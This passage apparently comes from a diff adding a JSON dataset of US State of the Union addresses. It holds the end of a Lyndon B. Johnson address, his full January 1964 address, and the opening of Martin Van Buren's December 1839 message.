of\nour rivers and the air that we breathe.I propose that we carry out a new program to develop regions of our country\nthat are now suffering from distress and depression.I propose that we make new efforts to control and prevent crime and\ndelinquency.I propose that we eliminate every remaining obstacle to the right and the\nopportunity to vote.I propose that we honor and support the achievements of thought and the\ncreations of art.I propose that we make an all-out campaign against waste and inefficiency.THE TASKOur basic task is threefold:First, to keep our economy growing;--to open for all Americans the opportunity that is now enjoyed by most\nAmericans;--and to improve the quality of life for all.In the next 6 weeks I will submit special messages with detailed proposals\nfor national action in each of these areas.Tonight I would like just briefly to explain some of my major\nrecommendations in the three main areas of national need.1. A GROWING ECONOMYBASIC POLICIESFirst, we must keep our Nation prosperous. We seek full\nemployment opportunity for every American citizen. I will present a budget\ndesigned to move the economy forward. More money will be left in the hands\nof the consumer by a substantial cut in excise taxes. We will continue\nalong the path toward a balanced budget in a balanced economy.I confidently predict--what every economic sign tells us tonight--the\ncontinued flourishing of the American economy.But we must remember that fear of a recession can contribute to the fact of\na recession. The knowledge that our Government will, and can, move swiftly\nwill strengthen the confidence of investors and business.Congress can reinforce this confidence by insuring that its procedures\npermit rapid action on temporary income tax cuts. And special funds for\njob-creating public programs should be made available for immediate use if\nrecession threatens.Our continued prosperity demands continued price stability. Business,\nlabor, and the consumer all have a high stake in keeping wages and prices\nwithin the framework of the guideposts that have already served the Nation\nso well.Finding new markets abroad for our goods depends on the initiative of\nAmerican business. But we stand ready--with credit and other help--to\nassist the flow of trade which will benefit the entire Nation.ON THE FARMSOur economy owes much to the efficiency of our farmers. We must\ncontinue to assure them the opportunity to earn a fair reward. I have\ninstructed the Secretary of Agriculture to lead a major effort to find new\napproaches to reduce the heavy cost of our farm programs and to direct more\nof our effort to the small farmer who needs the help the most.INCREASED PROSPERITYWe can help insure continued prosperity through:--a regional recovery program to assist the development of stricken areas\nleft behind by our national progress;--further efforts to provide our workers with the skills demanded by modern\ntechnology, for the laboring-man is an indispensable force in the American\nsystem;--the extension of the minimum wage to more than 2 million unprotected\nworkers;--the improvement and the modernization of the unemployment compensation\nsystem.And as pledged in our 1960 and 1964 Democratic platforms, I will propose to\nCongress changes in the Taft-Hartley Act including section 14(b). I will do\nso hoping to reduce the conflicts that for several years have divided\nAmericans in various States of our Union.In a country that spans a continent modern transportation is vital to\ncontinued growth.TRANSPORTATION FOR GROWTHI will recommend heavier reliance on competition\nin transportation and a new policy for our merchant marine.I will ask for funds to study high-speed rail transportation between urban\ncenters. We will begin with test projects between Washington and Boston. On\nhigh-speed trains, passengers could travel this distance in less than 4\nhours.II. OPPORTUNITY FOR ALLSecond, we must open opportunity to all our people.Most Americans enjoy a good life. But far too many are still trapped in\npoverty and idleness and fear.Let a just nation throw open to them the city of promise:--to the elderly, by providing hospital care under social security and by\nraising benefit payments to those struggling to maintain the dignity of\ntheir later years;--to the poor and the unfortunate, through doubling the war against poverty\nthis year;--to Negro Americans, through enforcement of the civil rights law and\nelimination of barriers to the right to vote;--to those in other lands that are seeking the promise of America, through\nan immigration law based on the work a man can do and not where he was born\nor how he spells his name.III. TO ENRICH THE LIFE OF ALLOur third goal is to improve the quality of\nAmerican life.THROUGH EDUCATIONWe begin with learning.Every child must have the best education that this Nation can provide.Thomas Jefferson said that no nation can be both ignorant and free. Today\nno nation can be both ignorant and great.In addition to our existing programs, I will recommend a new program for\nschools and students with a first year authorization of $1,500 million.It will help at every stage along the road to learning.For the preschool years we will help needy children become aware of the\nexcitement of learning.For the primary and secondary school years we will aid public schools\nserving low-income families and assist students in both public and private\nschools.For the college years we will provide scholarships to high school students\nof the greatest promise and the greatest need and we will guarantee\nlow-interest loans to students continuing their college studies.New laboratories and centers will help our schools--help them lift their\nstandards of excellence and explore new methods of teaching. These centers\nwill provide special training for those who need and those who deserve\nspecial treatment.THROUGH BETTER HEALTHGreatness requires not only an educated people but a\nhealthy people.Our goal is to match the achievements of our medicine to the afflictions of\nour people.We already carry on a large program in this country for research and\nhealth.In addition, regional medical centers can provide the most advanced\ndiagnosis and treatment for heart disease and cancer and stroke and other\nmajor diseases.New support for medical and dental education will provide the trained\npeople to apply our knowledge.Community centers can help the mentally ill and improve health care for\nschool-age children from poor families, including services for the mentally\nretarded.THROUGH IMPROVING THE WORLD WE LIVE INThe CityAn educated and healthy people require surroundings in harmony with\ntheir hopes. In our urban areas the central problem today is to protect and\nrestore man's satisfaction in belonging to a community where he can find\nsecurity and significance.The first step is to break old patterns--to begin to think and work and\nplan for the development of the entire metropolitan areas. We will take\nthis step with new programs of help for the basic community facilities and\nfor neighborhood centers of health and recreation.New and existing programs will be open to those cities which work together\nto develop unified long-range policies for metropolitan areas.We must also make some very important changes in our housing programs if we\nare to pursue these same basic goals.So a Department of Housing and Urban Development will be needed to\nspearhead this effort in our cities.Every citizen has the right to feel secure in his home and on the streets\nof his community.To help control crime, we will recommend programs:--to train local law enforcement officers;--to put the best techniques of modern science at their disposal;--to discover the causes of crime and better ways to prevent it.I will soon assemble a panel of outstanding experts of this Nation to\nsearch out answers to the national problem of crime and delinquency, and I\nwelcome the recommendations and the constructive efforts of the Congress.\nThe Beauty of AmericaFor over three centuries the beauty of America has sustained our spirit and\nhas enlarged our vision. We must act now to protect this heritage. In a\nfruitful new partnership with the States and the cities the next decade\nshould be a conservation milestone. We must make a massive effort to save\nthe countryside and to establish--as a green legacy for tomorrow--more\nlarge and small parks, more seashores and open spaces than have been\ncreated during any other period in our national history.A new and substantial effort must be made to landscape highways to provide\nplaces of relaxation and recreation wherever our roads run,Within our cities imaginative programs are needed to landscape streets and\nto transform open areas into places of beauty and recreation.We will seek legal power to prevent pollution of our air and water before\nit happens. We will step up our effort to control harmful wastes, giving\nfirst priority to the cleanup of our most contaminated rivers. We will\nincrease research to learn much more about the control of pollution.We hope to make the Potomac a model of beauty here in the Capital, and\npreserve unspoiled stretches of some of our waterways with a Wild Rivers\nbill.More ideas for a beautiful America will emerge from a White House\nConference on Natural Beauty which I will soon call.Art and ScienceWe must also recognize and encourage those who can be\npathfinders for the Nation's imagination and understanding.To help promote and honor creative achievements, I will propose a National\nFoundation on the Arts.To develop knowledge which will enrich our lives and ensure our progress, I\nwill recommend programs to encourage basic science, particularly in the\nuniversities--and to bring closer the day when the oceans will supply our\ngrowing need for fresh water.For government to serve these goals it must be modern in structure,\nefficient in action, and ready for any emergency.I am busy, currently, reviewing the structure of the entire executive\nbranch of this Government. I hope to reshape it and to reorganize it to\nmeet more effectively the tasks of the 20th century.Wherever waste is found, I will eliminate it.Last year we saved almost $3,500 million by eliminating waste in the\nNational Government.And I intend to do better this year.And very soon I will report to you on our progress and on new economies\nthat your Government plans to make.Even the best of government is subject to the worst of hazards.I will propose laws to insure the necessary continuity of leadership should\nthe President become disabled or die.In addition, I will propose reforms in the electoral college--leaving\nundisturbed the vote by States--but making sure that no elector can\nsubstitute his will for that of the people.Last year, in a sad moment, I came here and I spoke to you after 33 years\nof public service, practically all of them here on this Hill.This year I speak after 1 year as President of the United States.Many of you in this Chamber are among my oldest friends. We have shared\nmany happy moments and many hours of work, and we have watched many\nPresidents together. Yet, only in the White House can you finally know the\nfull weight of this Office.The greatest burden is not running the huge operations of government--or\nmeeting daily troubles, large and small--or even working with the\nCongress.A President's hardest task is not to do what is right, but to know what is\nright.Yet the Presidency brings no special gift of prophecy or foresight. You\ntake an oath, you step into an office, and you must then help guide a great\ndemocracy.The answer was waiting for me in the land where I was born.It was once barren land. The angular hills were covered with scrub cedar\nand a few large live oaks. Little would grow in that harsh caliche soil of\nmy country. And each spring the Pedernales River would flood our valley.But men came and they worked and they endured and they built.And tonight that country is abundant; abundant with fruit and cattle and\ngoats and sheep, and there are pleasant homes and lakes and the floods are\ngone.Why did men come to that once forbidding land?Well, they were restless, of course, and they had to be moving on. But\nthere was more than that. There was a dream--a dream of a place where a\nfree man could build for himself, and raise his children to a better\nlife--a dream of a continent to be conquered, a world to be won, a nation\nto be made.Remembering this, I knew the answer.A President does not shape a new and personal vision of America.He collects it from the scattered hopes of the American past.It existed when the first settlers saw the coast of a new world, and when\nthe first pioneers moved westward.It has guided us every step of the way.It sustains every President. But it is also your inheritance and it belongs\nequally to all the people that we all serve.It must be interpreted anew by each generation for its own needs; as I have\ntried, in part, to do tonight.It shall lead us as we enter the third century of the search for a more\nperfect union?This, then, is the state of the Union: Free and restless, growing and full\nof hope.So it was in the beginning.So it shall always be, while God is willing, and we are strong enough to\nkeep the faith.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "January 8, 1964", 
+    "speech": "Mr. Speaker, Mr. President, Members of the House and Senate, my fellow\nAmericans:I will be brief, for our time is necessarily short and our agenda is\nalready long.Last year's congressional session was the longest in peacetime history.\nWith that foundation, let us work together to make this year's session the\nbest in the Nation's history.Let this session of Congress be known as the session which did more for\ncivil rights than the last hundred sessions combined; as the session which\nenacted the most far-reaching tax cut of our time; as the session which\ndeclared all-out war on human poverty and unemployment in these United\nStates; as the session which finally recognized the health needs of all our\nolder citizens; as the session which reformed our tangled transportation\nand transit policies; as the session which achieved the most effective,\nefficient foreign aid program ever; and as the session which helped to\nbuild more homes, more schools, more libraries, and more hospitals than any\nsingle session of Congress in the history of our Republic.All this and more can and must be done. It can be done by this summer, and\nit can be done without any increase in spending. In fact, under the budget\nthat I shall shortly submit, it can be done with an actual reduction in\nFederal expenditures and Federal employment.We have in 1964 a unique opportunity and obligation--to prove the success\nof our system; to disprove those cynics and critics at home and abroad who\nquestion our purpose and our competence.If we fail, if we fritter and fumble away our opportunity in needless,\nsenseless quarrels between Democrats and Republicans, or between the House\nand the Senate, or between the South and North, or between the Congress and\nthe administration, then history will rightfully judge us harshly. But if\nwe succeed, if we can achieve these goals by forging in this country a\ngreater sense of union, then, and only then, can we take full satisfaction\nin the State of the Union. II.Here in the Congress you can demonstrate effective legislative leadership\nby discharging the public business with clarity and dispatch, voting each\nimportant proposal up, or voting it down, but at least bringing it to a\nfair and a final vote.Let us carry forward the plans and programs of John Fitzgerald Kennedy--not\nbecause of our sorrow or sympathy, but because they are right.In his memory today, I especially ask all members of my own political\nfaith, in this election year, to put your country ahead of your party, and\nto always debate principles; never debate personalities.For my part, I pledge a progressive administration which is efficient, and\nhonest and frugal. The budget to be submitted to the Congress shortly is in\nfull accord with this pledge.It will cut our deficit in half--from $10 billion to $4,900 million. It\nwill be, in proportion to our national output, the smallest budget since\n1951.It will call for a substantial reduction in Federal employment, a feat\naccomplished only once before in the last 10 years. While maintaining the\nfull strength of our combat defenses, it will call for the lowest number of\ncivilian personnel in the Department of Defense since 1950.It will call for total expenditures of $97,900 million--compared to $98,400\nmillion for the current year, a reduction of more than $500 million. It\nwill call for new obligational authority of $103,800 million--a reduction\nof more than $4 billion below last year's request of $107,900 million.But it is not a standstill budget, for America cannot afford to stand\nstill. Our population is growing. Our economy is more complex. Our people's\nneeds are expanding.But by closing down obsolete installations, by curtailing less urgent\nprograms, by cutting back where cutting back seems to be wise, by insisting\non a dollar's worth for a dollar spent, I am able to recommend in this\nreduced budget the most Federal support in history for education, for\nhealth, for retraining the unemployed, and for helping the economically and\nthe physically handicapped.This budget, and this year's legislative program, are designed to help each\nand every American citizen fulfill his basic hopes--his hopes for a fair\nchance to make good; his hopes for fair play from the law; his hopes for a\nfull-time job on full-time pay; his hopes for a decent home for his family\nin a decent community; his hopes for a good school for his children with\ngood teachers; and his hopes for security when faced with sickness or\nunemployment or old age. III.Unfortunately, many Americans live on the outskirts of hope--some because\nof their poverty, and some because of theft color, and all too many because\nof both. Our task is to help replace their despair with opportunity.This administration today, here and now, declares unconditional war on\npoverty in America. I urge this Congress and all Americans to join with me\nin that effort.It will not be a short or easy struggle, no single weapon or strategy will\nsuffice, but we shall not rest until that war is won. The richest Nation on\nearth can afford to win it. We cannot afford to lose it. One thousand\ndollars invested in salvaging an unemployable youth today can return\n$40,000 or more in his lifetime.Poverty is a national problem, requiring improved national organization and\nsupport. But this attack, to be effective, must also be organized at the\nState and the local level and must be supported and directed by State and\nlocal efforts.For the war against poverty will not be won here in Washington. It must be\nwon in the field, in every private home, in every public office, from the\ncourthouse to the White House.The program I shall propose will emphasize this cooperative approach to\nhelp that one-fifth of all American families with incomes too small to even\nmeet their basic needs.Our chief weapons in a more pinpointed attack will be better schools, and\nbetter health, and better homes, and better training, and better job\nopportunities to help more Americans, especially young Americans, escape\nfrom squalor and misery and unemployment rolls where other citizens help to\ncarry them.Very often a lack of jobs and money is not the cause of poverty, but the\nsymptom. The cause may lie deeper in our failure to give our fellow\ncitizens a fair chance to develop their own capacities, in a lack of\neducation and training, in a lack of medical care and housing, in a lack of\ndecent communities in which to live and bring up their children.But whatever the cause, our joint Federal-local effort must pursue poverty,\npursue it wherever it exists--in city slums and small towns, in\nsharecropper shacks or in migrant worker camps, on Indian Reservations,\namong whites as well as Negroes, among the young as well as the aged, in\nthe boom towns and in the depressed areas.Our aim is not only to relieve the symptom of poverty, but to cure it and,\nabove all, to prevent it. No single piece of legislation, however, is going\nto suffice.We will launch a special effort in the chronically distressed areas of\nAppalachia.We must expand our small but our successful area redevelopment program.We must enact youth employment legislation to put jobless, aimless,\nhopeless youngsters to work on useful projects.We must distribute more food to the needy through a broader food stamp\nprogram.We must create a National Service Corps to help the economically\nhandicapped of our own country as the Peace Corps now helps those abroad.We must modernize our unemployment insurance and establish a high-level\ncommission on automation. If we have the brain power to invent these\nmachines, we have the brain power to make certain that they are a boon and\nnot a bane to humanity.We must extend the coverage of our minimum wage laws to more than 2 million\nworkers now lacking this basic protection of purchasing power.We must, by including special school aid funds as part of our education\nprogram, improve the quality of teaching, training, and counseling in our\nhardest hit areas.We must build more libraries in every area and more hospitals and nursing\nhomes under the Hill-Burton Act, and train more nurses to staff them.We must provide hospital insurance for our older citizens financed by every\nworker and his employer under Social Security, contributing no more than $1\na month during the employee's working career to protect him in his old age\nin a dignified manner without cost to the Treasury, against the devastating\nhardship of prolonged or repeated illness.We must, as a part of a revised housing and urban renewal program, give\nmore help to those displaced by slum clearance, provide more housing for\nour poor and our elderly, and seek as our ultimate goal in our free\nenterprise system a decent home for every American family.We must help obtain more modern mass transit within our communities as well\nas low-cost transportation between them.Above all, we must release $11 billion of tax reduction into the private\nspending stream to create new jobs and new markets in every area of this\nland. IV.These programs are obviously not for the poor or the underprivileged alone.\nEvery American will benefit by the extension of social security to cover\nthe hospital costs of their aged parents. Every American community will\nbenefit from the construction or modernization of schools, libraries,\nhospitals, and nursing homes, from the training of more nurses and from the\nimprovement of urban renewal in public transit. And every individual\nAmerican taxpayer and every corporate taxpayer will benefit from the\nearliest possible passage of the pending tax bill from both the new\ninvestment it will bring and the new jobs that it will create.That tax bill has been thoroughly discussed for a year. Now we need action.\nThe new budget clearly allows it. Our taxpayers surely deserve it. Our\neconomy strongly demands it. And every month of delay dilutes its benefits\nin 1964 for consumption, for investment, and for employment.For until the bill is signed, its investment incentives cannot be deemed\ncertain, and the withholding rate cannot be reduced--and the most damaging\nand devastating thing you can do to any businessman in America is to keep\nhim in doubt and to keep him guessing on what our tax policy is. And I say\nthat we should now reduce to 14 percent instead of 15 percent our\nwithholding rate.I therefore urge the Congress to take final action on this bill by the\nfirst of February, if at all possible. For however proud we may be of the\nunprecedented progress of our free enterprise economy over the last 3\nyears, we should not and we cannot permit it to pause.In 1963, for the first time in history, we crossed the 70 million job mark,\nbut we will soon need more than 75 million jobs. In 1963 our gross national\nproduct reached the $600 billion level--$100 billion higher than when we\ntook office. But it easily could and it should be still $30 billion higher\ntoday than it is.Wages and profits and family income are also at their highest levels in\nhistory--but I would remind you that 4 million workers and 13 percent of\nour industrial capacity are still idle today.We need a tax cut now to keep this country moving. V.For our goal is not merely to spread the work. Our goal is to create more\njobs. I believe the enactment of a 35-hour week would sharply increase\ncosts, would invite inflation, would impair our ability to compete, and\nmerely share instead of creating employment. But I am equally opposed to\nthe 45- or 50-hour week in those industries where consistently excessive\nuse of overtime causes increased unemployment.So, therefore, I recommend legislation authorizing the creation of a\ntripartite industry committee to determine on an industry-by-industry basis\nas to where a higher penalty rate for overtime would increase job openings\nwithout unduly increasing costs, and authorizing the establishment of such\nhigher rates. VI.Let me make one principle of this administration abundantly clear: All of\nthese increased opportunities--in employment, in education, in housing, and\nin every field--must be open to Americans of every color. As far as the writ\nof Federal law will run, we must abolish not some, but all racial\ndiscrimination. For this is not merely an economic issue, or a social,\npolitical, or international issue. It is a moral issue, and it must be met\nby the passage this session of the bill now pending in the House.All members of the public should have equal access to facilities open to\nthe public. All members of the public should be equally eligible for\nFederal benefits that are financed by the public. All members of the public\nshould have an equal chance to vote for public officials and to send their\nchildren to good public schools and to contribute their talents to the\npublic good.Today, Americans of all races stand side by side in Berlin and in Viet Nam.\nThey died side by side in Korea. Surely they can work and eat and travel\nside by side in their own country. VII.We must also lift by legislation the bars of discrimination against those\nwho seek entry into our country, particularly those who have much needed\nskills and those joining their families.In establishing preferences, a nation that was built by the immigrants of\nall lands can ask those who now seek admission: \"What can you do for our\ncountry?\" But we should not be asking: \"In what country were you born?\"\nVIII.For our ultimate goal is a world without war, a world made safe for\ndiversity, in which all men, goods, and ideas can freely move across every\nborder and every boundary.We must advance toward this goal in 1964 in at least 10 different ways, not\nas partisans, but as patriots.First, we must maintain--and our reduced defense budget will maintain--that\nmargin of military safety and superiority obtained through 3 years of\nsteadily increasing both the quality and the quantity of our strategic, our\nconventional, and our antiguerilla forces. In 1964 we will be better\nprepared than ever before to defend the cause of freedom, whether it is\nthreatened by outright aggression or by the infiltration practiced by those\nin Hanoi and Havana, who ship arms and men across international borders to\nfoment insurrection. And we must continue to use that strength as John\nKennedy used it in the Cuban crisis and for the test ban treaty--to\ndemonstrate both the futility of nuclear war and the possibilities of\nlasting peace.Second, we must take new steps--and we shall make new proposals at\nGeneva--toward the control and the eventual abolition of arms. Even in the\nabsence of agreement, we must not stockpile arms beyond our needs or seek\nan excess of military power that could be provocative as well as wasteful.It is in this spirit that in this fiscal year we are cutting back our\nproduction of enriched uranium by 25 percent. We are shutting down four\nplutonium piles. We are closing many nonessential military installations.\nAnd it is in this spirit that we today call on our adversaries to do the\nsame.Third, we must make increased use of our food as an instrument of\npeace--making it available by sale or trade or loan or donation--to hungry\npeople in all nations which tell us of their needs and accept proper\nconditions of distribution.Fourth, we must assure our pre-eminence in the peaceful exploration of\nouter space, focusing on an expedition to the moon in this decade--in\ncooperation with other powers if possible, alone if necessary.Fifth, we must expand world trade. Having recognized in the Act of 1962\nthat we must buy as well as sell, we now expect our trading partners to\nrecognize that we must sell as well as buy. We are willing to give them\ncompetitive access to our market, asking only that they do the same for\nus.Sixth, we must continue, through such measures as the interest equalization\ntax, as well as the cooperation of other nations, our recent progress\ntoward balancing our international accounts.This administration must and will preserve the present gold value of the\ndollar.Seventh, we must become better neighbors with the free states of the\nAmericas, working with the councils of the OAS, with a stronger Alliance\nfor Progress, and with all the men and women of this hemisphere who really\nbelieve in liberty and justice for all.Eighth, we must strengthen the ability of free nations everywhere to\ndevelop their independence and raise their standard of living, and thereby\nfrustrate those who prey on poverty and chaos. To do this, the rich must\nhelp the poor--and we must do our part. We must achieve a more rigorous\nadministration of our development assistance, with larger roles for private\ninvestors, for other industrialized nations, and for international agencies\nand for the recipient nations themselves.Ninth, we must strengthen our Atlantic and Pacific partnerships, maintain\nour alliances and make the United Nations a more effective instrument for\nnational independence and international order.Tenth, and finally, we must develop with our allies new means of bridging\nthe gap between the East and the West, facing danger boldly wherever danger\nexists, but being equally bold in our search for new agreements which can\nenlarge the hopes of all, while violating the interests of none.In short, I would say to the Congress that we must be constantly prepared\nfor the worst, and constantly acting for the best. We must be strong enough\nto win any war, and we must be wise enough to prevent one.We shall neither act as aggressors nor tolerate acts of aggression. We\nintend to bury no one, and we do not intend to be buried.We can fight, if we must, as we have fought before, but we pray that we\nwill never have to fight again. IX.My good friends and my fellow Americans: In these last 7 sorrowful weeks,\nwe have learned anew that nothing is so enduring as faith, and nothing is\nso degrading as hate.John Kennedy was a victim of hate, but he was also a great builder of\nfaith--faith in our fellow Americans, whatever their creed or their color\nor their station in life; faith in the future of man, whatever his\ndivisions and differences.This faith was echoed in all parts of the world. On every continent and in\nevery land to which Mrs. Johnson and I traveled, we found faith and hope\nand love toward this land of America and toward our people.So I ask you now in the Congress and in the country to join with me in\nexpressing and fulfilling that faith in working for a nation, a nation that\nis free from want and a world that is free from hate--a world of peace and\njustice, and freedom and abundance, for our time and for all time to come.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "December 2, 1839", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I regret that I can not on this occasion congratulate you that the past\nyear has been one of unalloyed prosperity. The ravages of fire and disease\nhave painfully afflicted otherwise flourishing portions of our country, and\nserious embarrassments yet derange the trade of many of our cities. But\nnotwithstanding these adverse circumstances, that general prosperity which\nhas been heretofore so bountifully bestowed upon us by the Author of All\nGood still continues to call for our warmest gratitude. Especially have we\nreason to rejoice in the exuberant harvests which have lavishly recompensed\nwell-directed industry and given to it that sure reward which is vainly\nsought in visionary speculations. I cannot, indeed, view without peculiar\nsatisfaction the evidences afforded by the past season of the benefits that\nspring from the steady devotion of the husbandman to his honorable pursuit.\nNo means of individual comfort is more certain and no source of national\nprosperity is so sure. Nothing can compensate a people for a dependence\nupon others for the bread they eat, and that cheerful abundance on which\nthe happiness of everyone so much depends is to be looked for nowhere with\nsuch sure reliance as in the industry of the agriculturist and the bounties\nof the earth.With foreign countries our relations exhibit the same favorable aspect\nwhich was presented in my last annual message, and afford continued proof\nof the wisdom of the pacific, just, and forbearing policy adopted by the\nfirst Administration of the Federal Government and pursued by its\nsuccessors. The extraordinary powers vested in me by an act of Congress for\nthe defense of the country in an emergency, considered so far probable as\nto require that the Executive should possess ample means to meet it, have\nnot been exerted. They have therefore been attended with no other result\nthan to increase, by the confidence thus reposed in me, my obligations to\nmaintain with religious exactness the cardinal principles that govern our\nintercourse with other nations. Happily, in our pending questions with\nGreat Britain, out of which this unusual grant of authority arose, nothing\nhas occurred to require its exertion, and as it is about to return to the\nLegislature I trust that no future necessity may call for its exercise by\nthem or its delegation to another Department of the Government.For the settlement of our northeastern boundary the proposition promised by\nGreat Britain for a commission of exploration and survey has been received,\nand a counter project, including also a provision for the certain and final\nadjustment of the limits in dispute, is now before the British Government\nfor its consideration. A just regard to the delicate state of this question\nand a proper respect for the natural impatience of the State of Maine, not\nless than a conviction that the negotiation has been already protracted\nlonger than is prudent on the part of either Government, have led me to\nbelieve that the present favorable moment should on no account be suffered\nto pass without putting the question forever at rest. I feel confident that\nthe Government of Her Britannic Majesty will take the same view of this\nsubject, as I am persuaded it is governed by desires equally strong and\nsincere for the amicable termination of the controversy.To the intrinsic difficulties of questions of boundary lines, especially\nthose described in regions unoccupied and but partially known, is to be\nadded in our country the embarrassment necessarily arising out of our\nConstitution by which the General Government is made the organ of\nnegotiating and deciding upon the particular interests of the States on\nwhose frontiers these lines are to be traced. To avoid another controversy\nin which a State government might rightfully claim to have her wishes\nconsulted previously to the conclusion of conventional arrangements\nconcerning her rights of jurisdiction or territory, I have thought it\nnecessary to call the attention of the Government of Great Britain to\nanother portion of our conterminous dominion of which the division still\nremains to be adjusted I refer to the line from the entrance of Lake\nSuperior to the most northwestern point of the Lake of the Woods,\nstipulations for the settlement of which are to be found in the seventh\narticle of the treaty of Ghent. The commissioners appointed under that\narticle by the two Governments having differed in their opinions, made\nseparate reports, according to its stipulations, upon the points of\ndisagreement, and these differences are now to be submitted to the\narbitration of some friendly sovereign or state. The disputed points should\nbe settled and the line designated before the Territorial government of\nwhich it is one of the boundaries takes its place in the Union as a State,\nand I rely upon the cordial cooperation of the British Government to effect\nthat object.There is every reason to believe that disturbances like those which lately\nagitated the neighboring British Provinces will not again prove the sources\nof border contentions or interpose obstacles to the continuance of that\ngood understanding which it is the mutual interest of Great Britain and the\nUnited States to preserve and maintain.Within the Provinces themselves tranquillity is restored, and on our\nfrontier that misguided sympathy in favor of what was presumed to be a\ngeneral effort in behalf of popular rights, and which in some instances\nmisled a few of our more inexperienced citizens, has subsided into a\nrational conviction strongly opposed to all intermeddling with the internal\naffairs of our neighbors. The people of the United States feel, as it is\nhoped they always will, a warm solicitude for the success of all who are\nsincerely endeavoring to improve the political condition of mankind. This\ngenerous feeling they cherish toward the most distant nations, and it was\nnatural, therefore, that it should be awakened with more than common warmth\nin behalf of their immediate neighbors; but it does not belong to their\ncharacter as a community to seek the gratification of those feelings in\nacts which violate their duty as citizens, endanger the peace of their\ncountry, and tend to bring upon it the stain of a violated faith toward\nforeign nations. If, zealous to confer benefits on others, they appear for\na moment to lose sight of the permanent obligations imposed upon them as\ncitizens, they are seldom long misled. From all the information I receive,\nconfirmed to some extent by personal observation, I am satisfied that no\none can now hope to engage in such enterprises without encountering public\nindignation, in addition to the severest penalties of the law.Recent information also leads me to hope that the emigrants from Her\nMajesty's Provinces who have sought refuge within our boundaries are\ndisposed to become peaceable residents and to abstain from all attempts to\nendanger the peace of that country which has afforded them an asylum. On a\nreview of the occurrences on both sides of the line it is satisfactory to\nreflect that in almost every complaint against our country the offense may\nbe traced to emigrants from the Provinces who have sought refuge here. In\nthe few instances in which they were aided by citizens of the United States\nthe acts of these misguided men were not only in direct contravention of\nthe laws and well-known wishes of their own Government, but met with the\ndecided disapprobation of the people of the United States.I regret to state the appearance of a different spirit among Her Majesty's\nsubjects in the Canadas. The sentiments of hostility to our people and\ninstitutions which have been so frequently expressed there, and the\ndisregard of our rights which has been manifested on some occasions, have,\nI am sorry to say, been applauded and encouraged by the people, and even by\nsome of the subordinate local authorities, of the Provinces. The chief\nofficers in Canada, fortunately, have not entertained the same feeling, and\nhave probably prevented excesses that must have been fatal to the peace of\nthe two countries.I look forward anxiously to a period when all the transactions which have\ngrown out of this condition of our affairs, and which have been made the\nsubjects of complaint and remonstrance by the two Governments,\nrespectively, shall be fully examined, and the proper satisfaction given\nwhere it is due from either side.Nothing has occurred to disturb the harmony of our intercourse with\nAustria, Belgium, Denmark, France, Naples, Portugal, Prussia, Russia, or\nSweden. The internal state of Spain has sensibly improved, and a\nwell-grounded hope exists that the return of peace will restore to the\npeople of that country their former prosperity and enable the Government to\nfulfill all its obligations at home and abroad. The Government of Portugal,\nI have the satisfaction to state, has paid in full the eleventh and last\ninstallment due to our citizens for the claims embraced in the settlement\nmade with it on the 3d of March, 1837.I lay before you treaties of commerce negotiated with the Kings of Sardinia\nand of the Netherlands, the ratifications of which have been exchanged\nsince the adjournment of Congress. The liberal principles of these treaties\nwill recommend them to your approbation. That with Sardinia is the first\ntreaty of commerce formed by that Kingdom, and it will, I trust, answer the\nexpectations of the present Sovereign by aiding the development of the\nresources of his country and stimulating the enterprise of his people. That\nwith the Netherlands happily terminates a long-existing subject of dispute\nand removes from our future commercial intercourse all apprehension of\nembarrassment. The King of the Netherlands has also, in further\nillustration of his character for justice and of his desire to remove every\ncause of dissatisfaction, made compensation for an American vessel captured\nin 1800 by a French privateer, and carried into Curacoa, where the proceeds\nwere appropriated to the use of the colony, then, and for a short time\nafter, under the dominion of Holland.The death of the late Sultan has produced no alteration in our relations\nwith Turkey. Our newly appointed minister resident has reached\nConstantinople, and I have received assurances from the present ruler that\nthe obligations of our treaty and those of friendship will be fulfilled by\nhimself in the same spirit that actuated his illustrious father.I regret to be obliged to inform you that no convention for the settlement\nof the claims of our citizens upon Mexico has yet been ratified by the\nGovernment of that country. The first convention formed for that purpose\nwas not presented by the President of Mexico for the approbation of its\nCongress, from a belief that the King of Prussia, the arbitrator in case of\ndisagreement in the joint commission to be appointed by the United States\nand Mexico, would not consent to take upon himself that friendly office.\nAlthough not entirely satisfied with the course pursued by Mexico, I felt\nno hesitation in receiving in the most conciliatory spirit the explanation\noffered, and also cheerfully consented to a new convention, in order to\narrange the payments proposed to be made to our citizens in a manner which,\nwhile equally just to them, was deemed less onerous and inconvenient to the\nMexican Government. Relying confidently upon the intentions of that\nGovernment, Mr. Ellis was directed to repair to Mexico, and diplomatic\nintercourse has been resumed between the two countries. The new convention\nhas, he informs us, been recently submitted by the President of that\nRepublic to its Congress under circumstances which promise a speedy\nratification, a result which I can not allow myself to doubt.Instructions have been given to the commissioner of the United States under\nour convention with Texas for the demarcation of the line which separates\nus from that Republic. The commissioners of both Governments met in New\nOrleans in August last. The joint commission was organized, and adjourned\nto convene at the same place on the 12th of October. It is presumed to be\nnow in the performance of its duties.The new Government of Texas has shown its desire to cultivate friendly\nrelations with us by a prompt reparation for injuries complained of in the\ncases of two vessels of the United States.With Central America a convention has been concluded for the renewal of its\nformer treaty with the United States. This was not ratified before the\ndeparture of our late charge d'affaires from that country, and the copy of\nit brought by him was not received before the adjournment of the Senate at\nthe last session. In the meanwhile, the period limited for the exchange of\nratifications having expired, I deemed it expedient, in consequence of the\ndeath of the charge d'affaires, to send a special agent to Central America\nto close the affairs of our mission there and to arrange with the\nGovernment an extension of the time for the exchange of ratifications.The commission created by the States which formerly composed the Republic\nof Colombia for adjusting the claims against that Government has by a very\nunexpected construction of the treaty under which it acts decided that no\nprovision was made for those claims of citizens of the United States which\narose from captures by Colombian privateers and were adjudged against the\nclaimants in the judicial tribunals. This decision will compel the United\nStates to apply to the several Governments formerly united for redress.\nWith all these--New Granada, Venezuela, and Ecuador--a perfectly good\nunderstanding exists. Our treaty with Venezuela is faithfully carried into\nexecution, and that country, in the enjoyment of tranquillity, is gradually\nadvancing in prosperity under the guidance of its present distinguished\nPresident, General Paez. With Ecuador a liberal commercial convention has\nlately been concluded, which will be transmitted to the Senate at an early\nday.With the great American Empire of Brazil our relations continue unchanged,\nas does our friendly intercourse with the other Governments of South\nAmerica--the Argentine Republic and the Republics of Uruguay, Chili, Peru,\nand Bolivia. The dissolution of the Peru-Bolivian Confederation may\noccasion some temporary inconvenience to 